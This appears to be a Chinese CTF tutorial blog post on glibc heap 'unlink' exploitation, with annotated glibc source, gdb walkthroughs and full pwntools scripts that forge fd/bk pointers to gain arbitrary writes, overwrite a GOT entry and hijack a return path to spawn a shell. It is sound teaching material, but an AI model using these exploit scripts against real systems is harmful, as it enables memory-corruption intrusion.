unlink

文章发布时间:

最后更新时间:

文章总字数:
3.2k

预计阅读时间:
13 分钟

很多时候 堆题的操作都是篡改got表 从而getshell 为了达到这一目的 就需要我们得到任意地址写的机会

其中unlink就是一个典型的办法

其主要分为两种情况 向后合并和向前合并

向后合并

本次演示基于的二进制文件 这里就不展示反编译后的代码了 其拥有堆溢出的机会 所以我们可以通过这个修改chunk的size域

先来看一下用于调试的代码

1
2
3
4
5
create(0,0x18)
create(1,0x28)
create(2,0x28)
payload = cyclic(0x18)+b"\x61"
edit(0,payload)

申请了三个堆块 chunk0是用于堆溢出覆盖chunk1的size域

gdb查看一下当前堆的状况

可以看到chunk1和chunk2已经成功合并了 并且你要注意一下大小 chunk1我们申请的是0x28 但是由于堆的机制 64位的情况下申请的堆块的基本单位是0x10 所以此时这个堆块的用户空间是0x20 而gdb上显示的是0x31(0x20+0x10+0x1)

所以溢出覆盖size域的大小应该是chunk实际占用的大小

如果利用这种机制呢?我们chunk此时是和chunk1合并了 但是我们仍然有一个指向chunk2的指针不是吗?

如果我们此时再edit chunk2 输入的数据会存放在哪里呢

1
2
3
4
5
6
7
create(0,0x18)
create(1,0x28)
create(2,0x28)
payload = cyclic(0x18)+b"\x61"
edit(0,payload)
edit(2,b"aaaaaaaa")
gdb.attach(io)

其仍然有效 此时你有没有一些利用的想法 利用这个系统觉得不存在的指针?

1
2
3
4
5
6
7
8
9
10
11
12
create(0,0x18)
create(1,0x68)
create(2,0x68)
create(3,0x20)
payload = cyclic(0x18)+b"\xe1"
edit(0,payload)
delete(1)
create(4,0x68)
create(5,0x68)
delete(5)
edit(2,b"aaaaaaaa")
gdb.attach(io)

看一下这个流程 看看能不能领会其用意

我们逐步分析一下

申请的chunk0,1,2没有什么疑问 是为了合并chunk

chunk3是为了防止chunk1释放以后和top chunk合并

紧接着申请了一个0x68大小的chunk4 系统就会把之前存储在unsortedbin的0xe0大小的chunk分割

此时chunk4申请到的内存空间和chunk1(未合并前)是一样的

此时我们再次申请0x68大小的chunk 分配给chunk5的就是原先chunk2的空间了

但是这里注意一下 chunk2的指针是不是仍然存在 那我们就拥有了两个指向同一内存空间的指针

我们哪怕释放掉了这个chunk 我们也可以edit其内容 如果这个chunk被释放到了fastbin呢?那么我们edit其chunk内容 是不是输入的第一个字长就是覆盖了fd域的空间 也就是说 我们伪造了一个fake chunk 让系统以为 当前的单向链表 这个chunk的下一个是我们伪造的内存空间

可以看到 系统把aaaaaaaa当成了一个chunk的地址

是不是觉得很简单 那么我们接下来再看unlink的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
//检查chunk的size和next_chunk的prev_size是否一致
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr (“corrupted size vs. prev_size”);
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
//检查fd和bk(双向链表完整性)
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr (“corrupted double-linked list”);
fd->bk = BK;
bk->fd = FD;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
//检查largebin中next_size双向链表的完整性
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr (“corrupted double-linked list (not small)”);
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}


}

主要有两个检查

1.检查当前chunk的size和nextchunk的prev_size是否相同

2.检查链表的完整性,即fd和bk

这里size的检查很容易就绕过了 接下来的理解难点在于链表的fd和bk的伪造

1
2
3
if(__builtin_expect (FD->bk != P || BK->fd != P,0))           
malloc_printerr ("corrupted double-linked list");
//其中的FD和BK和P为上图所示

关键在于这一个if判断

如果你和我一样 学到这里的时候 c语言的指针都还没学透 那你可以仔细阅读下面这段话 方便你理解接下来的判断式

1
2
3
FD->bk相当于表示FD结构体的成员bk 而bk为结构体变量指针类型
存储的是FD的上一个chunk,即P的prev_size的地址
BK->fd同理 把这两个判断转化一下就是 unlink过后 BK和FD就抛弃了中间的P 他们二者的fd和bk指针互连
1
2
3
4
5
6
7
FD->bk != P || BK->fd != P
FD和BK之前已经定义过了
FD = P->fd;
BK = P->bk;
所以上述的式子相当于:
P->fd->bk == P <=> *(p->fd +0x18) == P <=>相当于恒等于
p->bk->fd == P <=> *(p->bk +0x10) == P

所以我们构造的fake_chunk的fd应该是ptr_addr-0x18

bk应该是ptr_addr-0x10

这里的ptr_addr即为我们想要任意写的地址

检查通过以后 程序就会按照下面的式子修改FD和BK的fd和bk指针

1
2
FD->bk = BK <=> P->fd->bk = p->bk <=> *(P->fd + 0x18) = P->bk //Ⅰ
BK->fd = FD <=> P->bk->fd = p->fd <=> *(P->bk + 0x10) = P->fd //Ⅱ
1
2
3
4
5
I式的演变过程:
∵ P->fd = &P - 0x18
∴ *(&P - 0x18 + 0x18) = P->bk => P = P->bk
∵ P->bk = &P - 0x10
∴ P = &P - 0x10
1
2
3
4
5
II式的演变过程:
∵ P->bk = &P - 0x10
∴ *(P->bk + 0x10) = P->fd => P = P->fd
∵ P->fd = &P - 0x18
∴ P = &P - 0x18

所以 最后的p指针将指向&p-0x18的位置 也就是说当我们成功unlink后 需要增加3个字长的垃圾数据后 才能覆盖到ptr_addr

下面来看一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
create(0,0x80)
create(1,0x80)
create(2,0x80)
ptr_addr = 0x6020C0
backdoor_addr = 0x400806
payload = p64(0)+p64(0x80)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)
payload = payload.ljust(0x80,b"0")
payload += p64(0x80)+p64(0x90)
edit(0,len(payload),payload)
delete(1)
payload = p64(0)*3+p64(elf.got['printf'])
edit(0,len(payload),payload)
edit(0,8,p64(backdoor_addr))
io.recvuntil(":")
io.sendline(b"1")
io.interactive()

我们先申请了三个chunk chunk0是用来构造fake_chunk chunk1则是用来迎合检查

chunk0此时的内部构造为

绿框部分是我们伪造的fakechunk 紫框为chunk1 我们将其的prev_size和size覆盖 为了通过第一个检查

随后我们释放chunk1 如果我们构造成功 此时系统就会检查我们构造的链表是否正确

如果通过了检查 我们构造的fakechunk就会从链表中脱离

于是我们就得到了一个指向ptr_addr-0x18地址的chunk

接下来要怎么利用 注意看上面脚本的ptr_addr是存放堆块指针的bss段的数组

我们利用unlink将其存放chunk0的地址修改成printf_got的地址

那么当我们第三次edit chunk0的时候 相当于就是往printf_got的地址写入数据

于是我们将后门函数的地址写进去 当下次调用printf函数的时候 就进行了系统调用(后门函数是我为了演示方便加进去的 一般题目不会这么简单)

ps:这里在出unlink的题的时候 遇到了一个问题: 当释放chunk1想要进行unlink的时候 程序就会崩溃

后来经过两天的坐牢时间 发现了问题的原因出在于存放堆块指针的那个数组的低地址处也要有至少0x18大小的全局数组

即如下图所示 需要有个magic数组 各位师傅以后出unlink题的时候可以留意一下

为什么我们经常看到别人的wp会写说 多申请一个chunk用来防止和top chunk合并 下面看一下演示

1
2
create(0,0x80)
delete(0)

当我们只申请了一个chunk 并且将其释放以后 你预想的是他会进入对应的bin中 但是如果他物理相邻的高地址处的chunk是topchunk的话 topchunk就会触发向后合并

我们需要多申请一个chunk在要释放的chunk的物理相邻高地址处

1
2
3
create(0,0x80)
create(1,0x20)
delete(0)

向前合并

目前还没有遇到用到向前合并的题目 感兴趣的可以自行了解

利用FD和BK的fd、bk指针

buu上遇到了一题比较新颖的unlink 和常规的有所不同 这里以此为例题来讲讲

其利用方向不是脱链获得任意写的机会 而是利用FD和BK在脱链后的fd和bk指针的变化来覆盖返回地址 控制程序执行流

1
2
3
4
5
6
[*] '/home/chen/unlink1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位的堆 还是比较少见的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v4; // [esp+4h] [ebp-14h] BYREF
_DWORD *v5; // [esp+8h] [ebp-10h]
_DWORD *v6; // [esp+Ch] [ebp-Ch]

malloc(0x400u);
v4 = (char *)malloc(0x10u);
v6 = malloc(0x10u);
v5 = malloc(0x10u);
*(_DWORD *)v4 = v6;
v6[1] = v4;
*v6 = v5;
v5[1] = v6;
printf("here is stack address leak: %p\n", &v4);
printf("here is heap address leak: %p\n", v4);
puts("now that you have leaks, get shell!");
gets(v4 + 8);
unlink(v6);
return 0;
}

申请了三个堆块 并且给出了堆块v4在栈上的地址和堆上的地址

这里为了方便理解 我修改了下三个chunk的名称 接下来请以下方的代码为准

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v4; // [esp+4h] [ebp-14h] BYREF
_DWORD *v5; // [esp+8h] [ebp-10h]
_DWORD *v6; // [esp+Ch] [ebp-Ch]

malloc(0x400u);
A = (char *)malloc(0x10u);
B = malloc(0x10u);
C = malloc(0x10u);
*(_DWORD *)A = B;
B[1] = A;
*B = C;
C[1] = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
puts("now that you have leaks, get shell!");
gets(A + 8);
unlink(B);
return 0;
}

我们先来分析一下这四行代码对这三个堆块的内容进行了哪些操作

1
2
3
4
*(_DWORD *)A = B;
B[1] = A;
*B = C;
C[1] = B;

第一行 *A=B 将B的首地址存在了A的fd域(实际上A并没有被释放 所以其没有fd域 这里只是为了方便称呼)

第二行 B[1]=A B[1]相当于B的bk域 存储了A的首地址

第三行 *B=C 将c的首地址存在了B的fd域

第四行 C[1]=B 同理 将B的首地址存储在了c的bk域

用图片来展示一下 此时三个堆块的情况

可以看到 相当于模拟了三个chunk在双向链表中的情况

接着给了我们一次堆溢出的机会

get(A+8)相当于往A的bk域再往下一个字长处写入数据 即data域

接着跟进一下unlink函数

1
2
3
4
5
6
7
8
9
10
11
12
13
_DWORD *__cdecl unlink(int *a1)
{
_DWORD *result; // eax
int fd; // [esp+8h] [ebp-8h]
_DWORD *bk; // [esp+Ch] [ebp-4h]

bk = a1[1];
fd = *a1;
*(fd + 4) = bk;
result = bk;
*bk = fd;
return result;
}

因为unlink的参数是B 所以此时bk和fd的赋值就是其名(我同样对变量名称进行了修改)

在fd+4地址处的内容赋值为bk

并且将bk地址处的内容赋值为fd

那么这里就存在了一次任意地址写 如果我们通过堆溢出将fd覆盖为想要任意写的内容 接着将bk覆盖为想要任意写的地址

就可以利用这一漏洞

分析完了程序的主体流程和漏洞 接下来就是想着怎么利用了

在左侧的函数栏中发现了一个后门函数 那么显然就是要将此后门函数覆盖某一地址 然后进行系统调用

但是不同于以往的覆盖got表 这里在unlink函数结束以后 并没有调用任何libc函数

那么只能将目光看向 main函数的栈帧结束后 汇编代码是如果ret到父函数

1
2
3
4
5
6
7
.text:080485F2                 call    unlink
.text:080485F7 add esp, 10h
.text:080485FA mov eax, 0
.text:080485FF mov ecx, [ebp+var_4]
.text:08048602 leave
.text:08048603 lea esp, [ecx-4]
.text:08048606 retn

lea esp, [ecx-4] 显然 我们要利用的就是这一串汇编代码

他会控制程序执行流往ecx-4所存储的地址

再看到 mov ecx, [ebp+var_4] ecx的值等同于ebp-4地址的值

所以 我们就要利用堆溢出 覆盖B->fd为存储后门函数地址的地址 B-bk为ebp-4的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
io = process("./unlink1")
#io = remote("node4.buuoj.cn",25709)
elf = ELF("./unlink1")
context.log_level = "debug"
io.recvuntil("here is stack address leak: ")
stack_addr = int(io.recvuntil("\n",drop = True),16)
io.recvuntil("here is heap address leak: ")
heap_addr = int(io.recvuntil("\n",drop = True),16)
io.recvuntil("now that you have leaks, get shell!")
shellheap_addr = heap_addr+12
ebp4_addr = stack_addr+0x14-0x4
shell_addr = 0x80484EB
payload = p32(shell_addr)+b'a'*12+p32(shellheap_addr)+p32(ebp4_addr)
io.send(payload)
io.interactive()